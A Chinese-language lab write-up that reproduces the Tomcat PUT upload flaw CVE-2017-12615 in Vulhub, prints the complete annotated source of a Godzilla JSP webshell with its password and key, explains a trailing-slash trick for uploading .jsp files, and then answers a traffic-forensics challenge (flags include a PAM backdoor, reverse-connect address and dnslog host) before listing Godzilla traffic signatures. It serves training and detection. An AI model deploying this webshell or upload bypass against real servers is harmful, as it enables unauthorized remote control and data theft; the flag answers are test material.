本次的流量分析涉及了一些Tomcat的put文件上传漏洞和哥斯拉webshell的一些联动,前半段文章主要是讲了CVE-2017-12615复现与哥斯拉流量的一些特征,后半段文章是玄机靶场的流量分析。
CVE-2017-12615复现与哥斯拉流量分析:
Tomcat的put文件上传漏洞(CVE-2017-12615):(影响版本:Tomcat 7.0.0 to 7.0.79)
CVE-2017-12615的原理:
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法,Tomcat配置文件/conf/web.xml配置了可写(readonly=false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
利用条件:
Apache Tomcat 默认开启 PUT 方法,org.apache.catalina.servlets.DefaultServlet的 readonly 默认为 true,需要手动配置readonly为false才可以进行漏洞利用,而且默认没有在 Tomcat/conf/web.xml 里写,需要手工添加并且改为 false,才可以进行测试。
漏洞复现:
这里使用的靶场是vulhub靶场,没有安装的请自行百度,或者参考一下下方的链接:Ubuntu搭建Vulhub靶场 - Zonda_R - 博客园
启动靶场:
靶机的IP地址是192.168.144.198

使用docker ps查看一下开放的端口是8080
先使用burp进行抓包,打开bp内置的浏览器,访问192.168.144.198:8080的主机地址,把抓到的数据包发送到重发器中。第一阶段完成
第二阶段:
使用哥斯拉生成一个webshll,在管理/生成中,设置密码为pass1234,密钥设置为key1234

webshell解析如下:
java
<%!
// 定义 AES 加密密钥(哥斯拉的解密密钥)
String xc = "a3242946d3692858";
// 定义请求参数名(哥斯拉的密码)
String pass = "pass1234";
// 计算 MD5 值
String md5 = md5(pass + xc);
// 自定义类加载器
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
// AES 加密/解密方法
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
// MD5 哈希方法
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
// 异常处理,这里只是简单忽略
}
return ret;
}
// Base64 编码方法
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(encoder, new Object[]{bs});
} catch (Exception e2) {
// 异常处理,这里只是简单忽略
}
}
return value;
}
// Base64 解码方法
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
// 异常处理,这里只是简单忽略
}
}
return value;
}
%>
<%
try {
// 从请求参数中获取 Base64 编码的加密数据并解码
byte[] data = base64Decode(request.getParameter(pass));
// 对数据进行 AES 解密
data = x(data, false);
if (session.getAttribute("payload") == null) {
// 如果会话中没有 payload,则使用自定义类加载器加载解密后的字节码并存储到会话中
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
// 如果会话中已有 payload
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
// 输出 MD5 哈希值的前 16 位
response.getWriter().write(md5.substring(0, 16));
f.toString();
// 对输出结果进行 AES 加密和 Base64 编码后输出
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
// 输出 MD5 哈希值的后 16 位
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {
// 异常处理,这里只是简单忽略
}
%>
使用bp将webshell上传到靶机上。

补充:Tomcat会对文件后缀进行检查,如果文件名是.jsp,请求包会被限制,在jsp后缀名后加一个/(linux下可用)即可绕过限制。

使用浏览器访问一下webshell。

成功访问,添加到哥斯拉中即可

接下来就是咱们的做题环节了
1.黑客的IP是什么?
搜索http协议,在根据NO排序,在往下翻一翻就可以找到这个PUT的请求方式

进行http流的追踪:

可以发现上传了一个哥斯拉的webshell,解密密钥是:1710acba6220f62b,连接密码是:7f0e6f
和上面的内容十分对应。
flag{192.168.31.190}
2.黑客是通过什么漏洞进入服务器的?(提交CVE编号)
这个如果第一次做不知道的情况下,可以直接在百度上搜索PUT的漏洞等关键字,也是不难找到的

flag{CVE-2017-12615}
3.黑客上传的木马文件名是什么?(提交文件名)

flag{hello.jsp}
4.黑客上传的木马连接密码是什么?
第一题提过
连接密码是:7f0e6f
flag{7f0e6f}
5.黑客上传的木马解密密钥是什么?
第一题提过
解密密钥是:1710acba6220f62b
flag{1710acba6220f62b}
6.黑客连接webshell后执行的第一条命令是什么?
在这里我使用了一个分析哥斯拉流量的工具
https://github.com/abc123info/BlueTeamTools/releases/tag/v1.46
填入一下刚才获取的密码和密钥

从PUT请求方式下面的POST数据包一一查看(耐心点,总会有点)即可,后面的题我就不多赘述了,直接上截图,再补充一点,这是请求包解密,不要点错了

flag{uname -r}
7.黑客连接webshell时查询当前shell的权限是什么?
想知道是什么权限的化就要看响应包了:也可以追踪http流进行查看
是root权限

flag{root}
8.黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?

flag{Debian GNU/Linux 10 (buster)}
9.黑套利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)

flag{dpkg -l libpam-modules:amd64}
10.黑客留下后门的反连的IP和PORT是什么?(IP:PORT)

flag{192.168.31.143:1313
}
11.黑客通过什么文件留下了后门?

flag{pam_unix.so
}
12/13.黑客设置的后门密码是什么?黑客的恶意dnslog服务器地址是什么?
使用xshell文件传输功能下载到本地进行分析
find / -name 'pam_unix.so'


flag{XJ@123
}
flag{c0ee2ad2d8.ipv6.xxx.eu.org.
}
哥斯拉的流量特征:
1.Godzilla 主要使用 基于 HTTP 的 Webshell 连接 ,并且通过 AES 加密 数据,避免明文传输特征数据。
2.Cookie值后面有个分号;
3.请求长度比较长
4.请求包中,Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5..响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
